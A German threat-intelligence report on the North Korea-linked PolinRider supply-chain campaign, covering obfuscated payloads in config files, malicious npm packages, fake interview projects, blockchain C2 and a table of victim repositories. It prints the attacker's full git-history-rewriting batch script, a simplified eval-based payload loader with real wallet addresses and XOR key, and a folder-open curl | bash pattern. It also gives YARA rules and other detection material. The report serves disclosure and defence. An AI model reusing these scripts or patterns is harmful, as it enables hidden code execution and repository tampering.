
Technisches Dossier über den mit Nordkorea in Verbindung stehenden PolinRider-Lieferkettenangriff, das die Einschleusung von obfuskierten JS-Payloads, die Manipulation der Git-Historie, die C2-Infrastruktur sowie Anleitungen zur Behebung für 1.951 kompromittierte Repositorys dokumentiert.

Das Team von OpenSourceMalware hat eine massive Bedrohungskampagne aufgedeckt, die Malware in Repositories von GitHub-Nutzern und -Organisationen einschleust. Der Bedrohungsakteur PolinRider hat bösartige, verschleierte JavaScript-Payloads in hunderten öffentlichen GitHub-Repositories von hunderten eindeutigen Eigentümern platziert. Verwenden Sie das Tag #polinrider, um alle Bedrohungsberichte zu dieser Kampagne einzusehen, und springen Sie zum Ende dieses Blogbeitrags für die Liste der kompromittierten Repositories, einschließlich derer, die wir für sofortige Maßnahmen priorisieren. Bedenken Sie, dass das Tag die beste Möglichkeit ist, aktuelle Daten zu erhalten.
Die JavaScript-Payload wird an das Ende echter Projektkonfigurationsdateien angehängt – still und leise, nach dem legitimen Inhalt der Datei – sodass sie bei einer oberflächlichen Code-Überprüfung leicht übersehen werden kann. Der primäre Infektionsvektor scheint ein kompromittiertes npm-Paket zu sein, das während der Installation oder des Builds ausgeführt wird und sich selbst in Konfigurationsdateien im Projektstammverzeichnis einschleust. Noch schlimmer: Dieser Bedrohungsakteur hat dieselbe Technik auch verwendet, um bösartige NPM-Pakete zu erstellen.
Dieser Angriff war enorm erfolgreich: Ein kompromittiertes Open-Source-Projekt, Neutralinojs, verbreitete die Malware an Hunderte seiner Benutzer und Mitwirkenden. Neutralinojs ist ein sehr beliebtes Projekt mit 8400 Sternen, 495 Forks und Dutzenden aktiven Mitwirkenden. Dies zeigt die Macht dieser Art von Angriff: Die Bedrohung beschränkt sich nicht nur auf die ursprünglichen GitHub-Repositories, sondern erstreckt sich auf alle anderen Projekte, die diese Open-Source-Komponente verwenden.
Das OpenSourceMalware-Team hat diese Kampagne der DVRK zugeschrieben, und der Bedrohungsakteur PolinRider ist ein bekannter Mitwirkender der Lazarus-Gruppe mit Verbindungen zu den Kampagnen „Contagious Interview" und „TasksJacker".
Diese Kampagne hat seit der Erstveröffentlichung dramatisch zugenommen. Stand 2026-04-11 hat das OSM-Team 1.951 öffentliche GitHub-Repositories von 1.047 eindeutigen Eigentümern als kompromittiert bestätigt. Dies entspricht einem 2,9-fachen Anstieg in den fünf Wochen seit dem ursprünglichen Veröffentlichungsdatum (8. März: 675 Repos / 352 Eigentümer).

In einer Folgesuche, die am 10.04.2026 begann und bis zum 11.04.2026 andauerte, machte das OSM-Team mehrere wichtige Entdeckungen:
Die Kampagne hat sich in 5 Wochen mehr als verdoppelt. Eine motorübergreifende Aufzählung mittels GitHub Code Search und Sourcegraph (mit Verfeinerung über die API-Grenze von 1000 Ergebnissen hinaus – siehe Methodik unten) ergab am ersten Tag 1.556 eindeutige kompromittierte Repos in unserem v3-Master. Eine zweite Runde am zweiten Tag fügte über npm-Paketnamen-Pivots, VS-Code-tasks.json-/Cloud-Provider-Pivots und die neu entdeckte C2-Subdomain default-configuration.vercel.app weitere 215 neue Repos hinzu. Nach Deduplizierung gegen den bestehenden affected_repos.csv-Korpus beträgt der tatsächlich bekannte Umfang nun 1.951 eindeutige Opfer-Repos / 1.047 eindeutige Eigentümer.
Eine neue Variante wurde beobachtet. PolinRider hat alle eindeutigen Fingerabdrücke seines Verschleierers rotiert, während die Architektur erhalten blieb. Die neue Variante verwendet den Signaturmarker Cot%3t=shtP (war rmcej%otb%), den Misch-Seed 1111436 (war 2857687), den sekundären Seed 3896884 (war 2667686) und den Dekoder-Funktionsnamen MDy (war _$_1e42). Diese Rotation scheint eine Ausweichreaktion auf die veröffentlichte zu sein. Beide Varianten sind derzeit in freier Wildbahn aktiv. Siehe weiter unten.
Die vollständigen v3 + Runde-2-Suchberichte und Master-TSVs befinden sich in reports/.
Der Bedrohungsakteur verwendet keine gestohlenen GitHub-Anmeldedaten. Stattdessen wurden die Opfer über eine bösartige VS-Code-Erweiterung oder ein NPM-Paket kompromittiert. Wir wissen noch nicht, was dieser anfängliche Vektor ist, aber aus der forensischen Evidenz wissen wir, was er tut.
Das erste, was passiert, ist, dass die Malware eine Suchfunktion auf dem lokalen Computer ausführt, die nach bestimmten Dateien sucht, wie zum Beispiel:
Wenn sie eine dieser Dateien findet, hängt sie stark verschleierten bösartigen JavaScript-Code an das Ende dieser Datei an. Als Nächstes installiert die Malware eine Windows-Batch-Datei namens temp_auto_push.bat. Wir wissen, dass diese Datei existiert und was sie tut, weil die Bedrohungsakteure sie auf Hunderten von kompromittierten Servern hinterlassen haben, was Forschern einen Fingerabdruck zum Durchsuchen gibt. Hier ist die Batch-Datei in ihrer Gesamtheit:```
@echo off
for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A
for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A
echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
echo %LAST_COMMIT_TEXT%
echo %USER_NAME% (%USER_EMAIL%)
echo Branch: %CURRENT_BRANCH%
set CURRENT_DATE=%date%
set CURRENT_TIME=%time%
date %LAST_COMMIT_DATE%
time %LAST_COMMIT_TIME%
echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
git config --local user.name %USER_NAME%
git config --local user.email %USER_EMAIL%
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
date %CURRENT_DATE%
time %CURRENT_TIME%
echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit!
git push -uf origin %CURRENT_BRANCH% --no-verify
@echo on
### Batch-Datei-Analyse
Diese Batch-Datei **schreibt den letzten Git-Commit neu, während der ursprüngliche Zeitstempel erhalten bleibt** – ein geänderter Commit sieht so aus, als wäre er nie bearbeitet worden.
#### Phase 1: Metadaten des letzten Commits extrahieren
Sie führt fünfmal `git log -1` aus, um die Details des letzten Commits in Umgebungsvariablen zu laden:
| Variable | Erfasster Wert |
|---|---|
| `LAST_COMMIT_DATE` | Datum des letzten Commits (JJJJ-MM-TT) |
| `LAST_COMMIT_TIME` | Zeit des letzten Commits (HH:MM:SS) |
| `LAST_COMMIT_TEXT` | Commit-Nachricht |
| `USER_NAME` | Autorenname |
| `USER_EMAIL` | Autoren-E-Mail |
| `CURRENT_BRANCH` | Name des aktuellen Branches |
#### Phase 2: Extrahierte Informationen anzeigen
Gibt diese Werte auf der Konsole aus, damit Sie sehen können, was vor dem Fortfahren erfasst wurde.
#### Phase 3: Der Zeitstempel-Trick (Kernmanipulation)
1. Speichert das *aktuelle* Systemdatum und die aktuelle Systemzeit in Variablen
2. **Ändert die Windows-Systemuhr** auf das Datum und die Uhrzeit des letzten Commits
3. Setzt die lokalen Git-`user.name` und `user.email` auf den ursprünglichen Autor des Commits
#### Phase 4: Den Commit ändern```bat
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
Da die Systemuhr zurückgesetzt wurde, zeichnet git den geänderten Commit mit dem ursprünglichen Zeitstempel auf, sodass er in der Historie unverändert erscheint. --no-verify umgeht alle Pre-Commit-Hooks.
-uf und --no-verify durch, um Push-Hooks zu umgehenDieses Skript ermöglicht es Ihnen, den letzten Commit stillschweigend zu ändern (Dateien hinzuzufügen oder zu ändern), während der umgeschriebene Commit so aussieht, als hätte er denselben Autor, Zeitstempel und dieselbe Nachricht wie zuvor. Für jeden Betrachter der Git-Historie sieht es so aus, als ob der Commit nie geändert wurde.
-uf) überschreibt die Remote-Historie — destruktiv für alle anderen auf dem Branch--no-verify-Flags umgehen absichtlich alle CI/CD-Hooks oder Lint-PrüfungenWir gehen davon aus, dass die Malware ähnliche Funktionen hat, um die Git-Historie für andere Betriebssysteme wie Linux und MacOS umzuschreiben. Tatsächlich haben wir Hinweise darauf gesehen, dass dies auf anderen Betriebssystemen passiert, aber die Bedrohungsakteure haben in ihrem Quellcode keine Tools hinterlassen, die auf diesen anderen Plattformen funktionieren, wie sie es für Windows getan haben.
Für betroffene Repository-Besitzer:
postcss.config.*, tailwind.config.*, eslint.config.*, next.config.*, vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, usw.) auf Inhalte, die nach export default oder module.exports erscheinen. Überprüfen Sie auch Nicht-Standard-Branches und verschachtelte Monorepo-Pfade (apps/*/, frontend/, client/, web/, usw.) — viele Opfer sind nur in tiefen Pfaden infiziert.Für Sicherheitstools / Registries:
polinrider_payload (unten) zu statischen Analyse-Pipelines hinzu — deckt sowohl rmcej%otb%- als auch Cot%3t=shtP-Varianten ab.filename:temp_auto_push.bat und LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat als kontinuierliche Überwachungsabfragen in der GitHub-Code-Suche hinzu.Unser Team hat ein Bash-Skript geschrieben, das Ihr lokales System auf Kompromittierung überprüft. Am Ende dieses Blogbeitrags erfahren Sie mehr, oder Sie können sich das Skript hier ansehen.
Das Update vom 10. April hat die Liste der Dateitypen erheblich erweitert. Die Malware zielt auf eine breitere Palette von JS-Dateien ab als ursprünglich dokumentiert und wurde in binären Assets wie .woff2-Schriftdateien beobachtet. Die folgenden Zählungen beziehen sich auf das 2026-04-10-Korpus von 1.736 eindeutigen Repositorys.
Die Dominanz von postcss.config.mjs (~62 % der Repositorys in beiden Datenpunkten) deutet weiterhin auf das PostCSS-/Tailwind-Ökosystem als primären Infektionsvektor hin. Die neu beobachteten Einträge — vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, truffle.js und binäre .woff2-Dateien — zeigen, dass die Malware ihre Datei-Zielheuristik erweitert hat oder dass der Bedrohungsakteur mehrere npm-Paketvehikel verwendet, um Opfer mit unterschiedlichen Build-Tools zu erreichen.
Das Ausbreitungsskript-Artefakt temp_auto_push.bat wurde in 101 Opfer-Repositorys zurückgelassen, selbst in Fällen, in denen die JS-Nutzlast inzwischen vom Besitzer bereinigt wurde. Diese Datei ist einer der Indikatoren mit der höchsten Vertrauenswürdigkeit für eine frühere Kompromittierung.

Der Bedrohungsakteur hat mehrere bösartige npm-Pakete veröffentlicht, die alle Tailwind-/PostCSS-nahe Hilfsprogramme imitieren. Stand 2026-04-11 wurden sowohl die npm-Konten allavin als auch blackedward von npm gelöscht und ihre Pakete entfernt, aber die bestehenden Opfer-Repositorys enthalten noch die Abhängigkeitsreferenzen und (in vielen Fällen) noch die nach der Installation injizierte Malware in ihren Konfigurationsdateien.
Die Jagd am 11. April bestätigte, dass tailwindcss-style-animate ^1.1.6 die primäre bösartige Abhängigkeit der ShoeVista-Fake-Interview-Vorlage ist — 34 der 46 npm-Paket-Pivot-Treffer sind erneute Uploads dieser Vorlage durch Entwickler mit genau dieser Abhängigkeit. Die anderen Pakete in der Liste werden von Schwesterkampagnen verwendet (z. B. tailwind-autoanimation im devhire-frontend-Cluster und reactapp-6).
Ermittler, die über den npm-Abhängigkeitsbaum pivotieren möchten, sollten beachten, dass dies für tailwind-mainanimation nicht mehr möglich ist — npm hat die aktive bösartige Version entfernt. Pivotieren Sie stattdessen über "<package_name>" filename:package.json-Ab fragen in der GitHub-Code-Suche, die immer noch die Geisterreferenzen in Opfer-Repositorys zurückgeben.

Das Paket tailwind-autoanimation verwendet die genau gleiche Technik, bei der die bösartige JavaScript-Nutzlast an das Ende der Einstiegsdatei src/index.js angehängt wird:

PolinRider liefert eine mehrstufige Nutzlast, die in einer neuen Version der DPRK-Beavertail-Malware gipfelt. Die anfängliche Nutzlast ist ein Massenkompromittierungs-Backdoor/Infostealer, der eine obfuskierte JavaScript-Nutzlast in die Repositorys legitimer Entwickler injiziert. Die Nutzlast wird nach Leerzeichen-Polsterung an gängige Konfigurationsdateien (postcss.config.mjs, eslint.config.mjs, tailwind.config.js, usw.) angehängt, sodass sie automatisch ausgeführt wird, wenn Build-Tools das Modul importieren. Sie verwendet eine mehrschichtige String-Shuffle-Deobfuskationsroutine, die letztendlich die endgültige Nutzlast zur Laufzeit konstruiert und mit eval ausführt.
Das OSM-Team hat bisher zwei aktive Varianten dieses Obfuskators mit rotierten eindeutigen Fingerabdrücken beobachtet:
("rmcej%otb%",2857687), Dekodierfunktion _$_1e42, sekundärer Seed 2667686, Injektionsmarker global['!'].Cot%3t=shtP, Shuffle-Seed 1111436, Dekodierfunktion MDy, sekundärer Seed 3896884, Injektionsmarker global['_V']='8-XXX'. Gleiche Architektur, alle eindeutigen Konstanten rotiert — mit ziemlicher Sicherheit eine Reaktion zur Umgehung der veröffentlichten YARA-Regel rmcej_otb_payload.Beide Varianten nutzen dieselbe Blockchain-Dead-Drop-C2-Infrastruktur (TRON / Aptos / BSC) mit denselben XOR-Schlüsseln, und beide sind derzeit in freier Wildbahn aktiv.
Diese endgültige Nutzlast ist ein ausgeklügelter blockchainbasierter Dead-Drop-Resolver, der unveränderliche Blockchain-Transaktionen als Command & Control (C2)-Infrastruktur verwendet. Die Malware ruft verschlüsselte JavaScript-Nutzlasten von Blockchain-Konten (TRON, Aptos und BSC) ab, entschlüsselt sie mittels XOR-Verschlüsselung und führt sie über eval() aus. Diese Technik macht die C2-Infrastruktur praktisch unmöglich zu beseitigen, da Blockchain-Daten unveränderlich sind.
Blockchain-basierte C2-Kommunikation
Nutzlast-Entschlüsselung
Remote-Code-Ausführung
eval() ausAnti-Analyse-Funktionen
Das OSM-Team hat die vollständige Angriffskette für diese Malware in unserem Blog über die jüngste Neutralinojs-Kompromittierung beschrieben.
Die Malware verwendet vier Obfuskierungsschichten:
Ebene 1: Zeichenvertauschungsalgorithmus mit Seed 2857687
['r', 'object', 'm'] (require, typeof-Prüfung, module)Ebene 2: Zeichenvertauschung mit Seed 2667686
Ebene 3: Benutzerdefinierte Substitutionschiffre
.c, .a usw. durch tatsächliche Zeichen\, `, Leerzeichen, Zeilenumbruch, *, ' und mehrEbene 4: XOR-Verschlüsselung für endgültige Nutzlasten
Cot%3t=shtPIm April 2026 identifizierte das OSM-Team eine zweite aktive Variante des PolinRider-Obfuskators. Die Architektur ist identisch mit der ursprünglichen — gleiche 4-schichtige Shuffle-Chiffre, gleiche Blockchain-Dead-Drop-C2, gleiche mehrstufige Beavertail-Zweitstufe — aber jeder eindeutige Fingerabdruck-String wurde rotiert, mit ziemlicher Sicherheit als Reaktion auf die veröffentlichte YARA-Regel rmcej_otb_payload.
Die neue Variante verwendet eine zusätzliche Injektionsmarkerzeile: global['_V']='8-XXX' (wobei 8-XXX ein pro Injektion vergebener Versions-Tag ist, z. B. 8-st1, 8-st2, …, 8-st59, plus eine parallele numerische Charge wie 8-413, 8-683, 8-778, 8-974). Die sequentiellen '8-stN'-Tags sind der stärkste Beweis des OSM-Teams dafür, dass die Werkzeuge des Bedrohungsakteurs jedem Opfer eine numerische ID zuweisen und dass mindestens 59 sequentielle Injektionen dieser Variante existieren (einige noch nicht von der öffentlichen Codesuche indexiert).
Mindestens ein Repository — HassanHabibTahir/testclient — enthält Marker BEIDER Varianten in verschiedenen Dateien (rmcej%otb% in postcss.config.mjs und global['_V'] in einer anderen Datei), was darauf hindeutet, dass die Werkzeuge des Bedrohungsakteurs erneut gegen zuvor kompromittierte Hosts mit dem rotierten Obfuskator ausgeführt werden. Verteidiger sollten nicht davon ausgehen, dass ein einmal bereinigtes Repository sauber bleibt.
Zusätzlich zu den Zustellvektoren npm-Paket und .vscode/tasks.json hat der PolinRider-Bedrohungsakteur mindestens zwei gefälschte Take-Home-Testprojekte erstellt, die an Kandidaten über gefälschte Vorstellungsgesprächs-Köder verteilt werden (das klassische Contagious-Interview-Playbook). Diese Projektvorlagen sind mit bösartigen Abhängigkeiten oder tasks.json-Nutzlasten vorinstalliert, sodass allein das Klonen und Ausführen des Projekts die Infektion auslöst.
ShoeVista (auch gesehen als shoevista, shoe-vista, Test-west-shoe, Test-002, product-catalog, mern-app, verschiedene nach Kandidaten benannte Forks)client/, Node/Express-Backend in server/ (typischer MERN-Take-Home)"tailwindcss-style-animate": "^1.1.6" in client/package.jsonname in package.json: "client" (generisch — die ShoeVista-Marke steht im README / auf der Fake-Company-Landingpage)"projectInfo": { "name": "StakingGame", "description": "Advanced VSCode automation for multi-environment blockchain deployment.", "uuid": "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" } — die UUID ist konstant über alle Opfer hinweg und der stärkste Indikator für diese Vorlage.vscode/tasks.json mit runOn: folderOpen, der curl | bash gegen default-configuration.vercel.app und die anderen neu entdeckten Vercel-C2-Subdomains ausführtDevba/lmng-top-, wyrustaaruz/cal-eco-platformDie Existenz vorbewaffneter Vorlagenprojekte bedeutet:
test-*, *-test, *-interview, *-assessment, *-task) in ihre Suchheuristiken aufnehmen.### Code-Struktur```javascript
// Simplified structure (actual code is heavily obfuscated)
async function fetchPayloadFromTron(address) {
// Queries TRON API for account transactions
const response = await https.get(
`https://api.trongrid.io/v1/accounts/${address}/transactions?only_confirmed=true&only_from=true&limit=1`
);
// Extracts encrypted data from transaction
return response.data[0].raw_data.data;
}
async function fetchPayloadFromAptos(txHash) {
// Queries Aptos API for transaction details
const response = await https.get(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${txHash}/transactions?limit=1`
);
// Extracts payload from transaction arguments
return response[0].payload.arguments[0];
}
function xorDecrypt(encryptedData, key) {
// XOR decryption with repeating key
let result = '';
for (let i = 0; i < encryptedData.length; i++) {
const keyChar = key.charCodeAt(i % key.length);
result += String.fromCharCode(encryptedData.charCodeAt(i) ^ keyChar);
}
return result;
}
// Main execution
const encryptedPayload = await fetchPayloadFromTron("TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP");
const decryptedCode = xorDecrypt(encryptedPayload, "2[gWfGj;<:-93Z^C");
eval(decryptedCode); // EXECUTES ARBITRARY CODE
// Persistence via detached child process
require('child_process').spawn('node', ['-e', `global['_V']='...'${decryptedCode}`], {
detached: true,
stdio: 'ignore',
windowsHide: true
});
Verwendet in .vscode/tasks.json curl | bash-Payloads mit runOn: folderOpen. Alle folgen dem URL-Muster https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. Dies sind die vom Angreifer kontrollierten Bootstrap-Server, die den PolinRider-JS-Loader an VS Code-Opfer ausliefern.
Alle fünf vscode-* / default-configuration-Domänen wurden bei der Jagd vom 10.–11. April entdeckt und sind nun Teil des OSM-Jagdabfragesets. Es ist mit weiteren verwandten Subdomains zu rechnen, da Vercel-Domänen für den Bedrohungsakteur günstig / wegwerfbar sind.
TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP (Primär)TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG (Sekundär)API-Endpunkt: https://api.trongrid.io/v1/accounts/
0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e (Primär)0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 (Sekundär)API-Endpunkt: https://fullnode.mainnet.aptoslabs.com/v1/accounts/
bsc-dataseed.binance.orgbsc-rpc.publicnode.comMethode: eth_getTransactionByHash
2[gWfGj;<:-93Z^Cm6:tTh^D)cBz?NM]e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 — erscheint im projectInfo.uuid-Feld der bösartigen .vscode/tasks.json für die StakingGame-Fake-Interview-Vorlage. Sehr spezifisch; 0 Fehlalarme in Tests.Die ursprüngliche rmcej_otb_payload-Regel (noch gültig für die ursprüngliche Variante) wurde durch eine Multi-Varianten-Regel ersetzt, die sowohl den ursprünglichen rmcej%otb%-Stamm als auch den rotierten Cot%3t=shtP-Stamm erfasst. Verwenden Sie diese in statischen Analyse-Pipelines.```yara
rule polinrider_payload {
meta:
description = "Detects PolinRider shuffle-cipher JS payloads — both rmcej%otb% (v1) and Cot%3t=shtP (v2) variants"
author = "OpenSourceMalware.com"
date = "2026-04-10"
severity = "high"
strings:
// Original variant (rmcej%otb%)
$marker_v1 = "rmcej%otb%"
$seed1_v1 = "2857687"
$seed2_v1 = "2667686"
$varname_v1 = "_$_1e42"
$global_bang = "global['!']"
// New variant (Cot%3t=shtP)
$marker_v2 = "Cot%3t=shtP"
$seed1_v2 = "1111436"
$seed2_v2 = "3896884"
$varname_v2 = "MDy"
$global_V = "global['_V']"
// Common across variants
$global_r = "global['r'] = require"
$global_m = "global['m'] = module"
condition:
any of ($marker_*) or
($global_bang and ($seed1_v1 or $varname_v1)) or
($global_V and ($seed1_v2 or $varname_v2)) or
($global_r and $global_m and (any of ($seed1_*)))
}
### YARA Rule (Legacy) — nur Originalvariante```yara
rule rmcej_otb_payload {
meta:
description = "Detects rmcej%otb% shuffle-cipher JS payload injected into config files (original variant only)"
author = "OpenSourceMalware.com"
date = "2026-03-07"
severity = "high"
strings:
$marker = "rmcej%otb%"
$global = "global['!']"
$seed1 = "2857687"
$seed2 = "2667686"
$varname = "_$_1e42"
condition:
$marker or ($global and $seed1) or ($varname and $seed2)
}
Die Daten wurden über die GitHub Code Search API mittels gh search code gesammelt, wobei pro infiziertem Dateinamen eine Abfrage ausgeführt wurde, um die Beschränkung auf 1.000 Ergebnisse pro Abfrage zu umgehen. Die Ergebnisse wurden nach dem vollständigen Repository-Namen dedupliziert.
Die Suche vom 10. April erweiterte die Datenerfassung durch die Kombination von fünf orthogonalen Pivots und die Anwendung einer Partition-nach-Erweiterung/Größe/Fork-Strategie, um die Beschränkung von 1.000 Ergebnissen pro Abfrage bei GitHub Code Search für den stärksten Pivot zu überwinden.
Die Abfrage nach dem Decoder-Funktionsnamen _$_1e42 meldete total_count: 968 und war bei 1.000 zurückgegebenen Elementen begrenzt, aber die GitHub-Weboberfläche zeigte 1.400+ Übereinstimmungen. Die Verfeinerung in orthogonale Unterabfragen, die jeweils unter 1.000 Ergebnissen bleiben, gefolgt von der Vereinigung, durchbrach die Beschränkung:
Drei entscheidende Erkenntnisse aus dieser Übung:
fork:false). Das Hinzufügen von fork:true deckte 157 Fork-Repos auf, die den Marker enthielten und für die ursprüngliche Abfrage völlig unsichtbar waren.size:5000..10000 in 1KB-Scheiben ergab 986 Ergebnisse gegenüber den gemeldeten 968 des Buckets – selbst innerhalb einer gemeldeten Gesamtzahl unter 1000 kann die Beschränkung Einträge verstecken. Der richtige Ansatz ist rekursives Bucketing, bis jeder Bucket deutlich unter der Grenze liegt.extension:-Aufteilungen liefern mehr Gesamtergebnisse als language:-Aufteilungen, weil GitHub's Spracherkennung manchmal .mjs und .cjs aus dem JavaScript-Bucket ausschließt.Die Kombination der Daten der Suche vom 10.–11. April mit der bestehenden affected_repos.csv ergibt den wahren derzeit bekannten Korpus:
Bei 44 Zufallsstichproben aus beiden Runden der Suche wurden 0 Fehlalarme beobachtet. Jedes beprobte Repository enthielt mindestens eine der PolinRider-Invarianten (rmcej%otb%, Cot%3t=shtP, _$_1e42, MDy, global['!'], global['_V'], LAST_COMMIT_DATE innerhalb einer Propagierungs-.bat, ein bekanntes bösartiges npm-Paket in package.json oder ein .vscode/tasks.json mit einem curl | bash zu einer der bekannten C2-Subdomains) in der Datei am indizierten Pivot-Pfad.
Runde 2 führte speziell zwei neue Variantenklassifikationen in der Einreichungstaxonomie ein:
malicious_npm: Das Repository enthält eines der 7 bekannten bösartigen npm-Pakete in einer package.json (45 Einreichungen – fast alle ShoeVista-Vorlagen-Neuuploads).tasksjacker: Das Repository enthält ein .vscode/tasks.json mit einer runOn: folderOpen-Aufgabe, die curl | bash oder wget | sh gegen eine Vercel/Render/Railway-C2-Subdomain ausführt (27 Einreichungen – beinhaltet den StakingGame-Vorlagen-Cluster).Alle kompromittierten Repositorys sind über den OpenSourceMalware-Tag #polinrider zu finden.
Die vollständigen CSVs sind nach Auswirkung für die Triage sortiert.
Prioritätsziele:
sparktechagency(130 Follower, 12 Repos) undFSDTeam-SAA(21 Follower, 12 Repos) sind die umfangreichsten Organisationen. Bei Einzelpersonen hatcoderkhalide(349 Follower) die größte direkte Reichweite.
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | Codechef-VITC-Student-Chapter | Organization | 6 | 11 | 1 | Client/postcss.config.mjs | | https://github.com/Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | | 2 | sparktechagency/Vap-shop-Front-End- | sparktechagency | Organization | 7 | 0 | 1 | postcss.config.mjs | VapeShopMaps – Eine B2B-Social- und E-Commerce-Plattform, die Benutzer, Geschäfte, Marken und Großhändler mit Echtzeit-Social-Funktionen und erweiterter SEO-Optimierung verbindet. | https://github.com/sparktechagency/Vap-shop-Front-End- | | 3 | MIS-Silekta/silekta-frontend | MIS-Silekta | Organization | 1 | 3 | 1 | postcss.config.mjs | Dies ist das Frontend-Repository des Unternehmens silekta für das MIS-Modul. | https://github.com/MIS-Silekta/silekta-frontend | | 4 | UzairOrganization/allTask | UzairOrganization | Organization | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/UzairOrganization/allTask | | 5 | FSDTeam-SAA/nico41278-frontend | FSDTeam-SAA | Organization | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/nico41278-frontend | | 6 | FSDTeam-SAA/cstrat_frontend | FSDTeam-SAA | Organization | 1 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/cstrat_frontend | | 7 | SoftySkills/quiz_app | SoftySkills | Organization | 3 | 0 | 1 | postcss.config.mjs | | https://github.com/SoftySkills/quiz_app | | 8 | dawahanigeria-team/rayyan-server | dawahanigeria-team | Organization | 3 | 0 | 1 | eslint.config.mjs | Rayyan App Server | https://github.com/dawahanigeria-team/rayyan-server | | 9 | FSDTeam-SAA/sahara_53 | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | Build a Story Time ist eine KI-gestützte Plattform, die es Benutzern ermöglicht, personalisierte Geschichtenbücher mit ihrer eigenen Stimme und ihren Gesichtern als Charaktere zu erstellen. Es verwandelt das Geschichtenerzählen in ein magisches, interaktives und zutiefst persönliches Erlebnis. | https://github.com/FSDTeam-SAA/sahara_53 | | 10 | FSDTeam-SAA/lowready-frontend | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 11 | Addis-Career/Frontend | Addis-Career | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 12 | etrainermis/mineduc-Form | etrainermis | Organization | 0 | 1 | 1 | postcss.config.mjs | EAC World Kiswahili Language Day Celebrations Forum | | | 13 | FSDTeam-SAA/brazen-kits | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 14 | FSDTeam-SAA/Igghy-dashboard | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 15 | FlowBondTech/danz-miniapps | FlowBondTech | Organization | 0 | 1 | 2 | danz-main/postcss.config.mjs | daily-danz/postcss.config.mjs | | | | 16 | BrennansWave-com/brennanswave | BrennansWave-com | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 17 | FlowBondTech/danz-web | FlowBondTech | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 18 | QualifyAI/qualify-frontend | QualifyAI | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 19 | FSDTeam-SAA/ftfdesignco-backend | FSDTeam-SAA | Organization | 0 | 1 | 1 | src/router/index.js | | | | 20 | Gamage-Recruiters-406/Rent_a_Car | Gamage-Recruiters-406 | Organization | 1 | 0 | 1 | frontend/postcss.config.mjs | | | | 21 | Umbrelabs-Projects/Procobiz | Umbrelabs-Projects | Organization | 1 | 0 | 1 | postcss.config.mjs | | | | 22 | The-Extra-Project/Extra_surface_repo | The-Extra-Project | Organization | 1 | 0 | 1 | frontend/postcss.config.mjs | Bereitstellungsversion von Laurents Version für Extra-surface. | | | 23 | Automobile-System/frontend | Automobile-System | Organization | 1 | 0 | 1 | postcss.config.mjs | | | | 24 | VplayProCrypto/mvp_vercel | VplayProCrypto | Organization | 1 | 0 | 1 | tailwind.config.js | Repository von Phase 1 MVP | | | 25 | sparktechagency/nskustoms_custom_game_site-2.0 | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 26 | softvence-omega-future-stack/gameluke-frontend | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 27 | NexumTechnologies/E-Commerce | NexumTechnologies | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 28 | Umbrelabs-Projects/Hostella-superAdmin | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | Dieses Repository ist für diejenigen, die Admins registrieren werden. | | | 29 | FSDTeam-SAA/admin-dashboard-gman | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 30 | sparktechagency/protippz_website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 31 | FlowRMS/flow-connect-frontend-new | FlowRMS | Organization | 0 | 0 | 1 | postcss.config.mjs | FlowConnect Frontend-Anwendung | | | 32 | Anthem-InfoTech-Pvt-Ltd/dashboards | Anthem-InfoTech-Pvt-Ltd | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 33 | WeOwnAiAgents-Hackerhouse/WeOwnAiAgent | WeOwnAiAgents-Hackerhouse | Organization | 0 | 0 | 1 | postcss.config.mjs | Aufbau der ultimativen Orchestrierungsplattform, die souverän, tokenomics-gesteuert und für die Web3-Community entwickelt wurde. Beitrag zum ethdenver 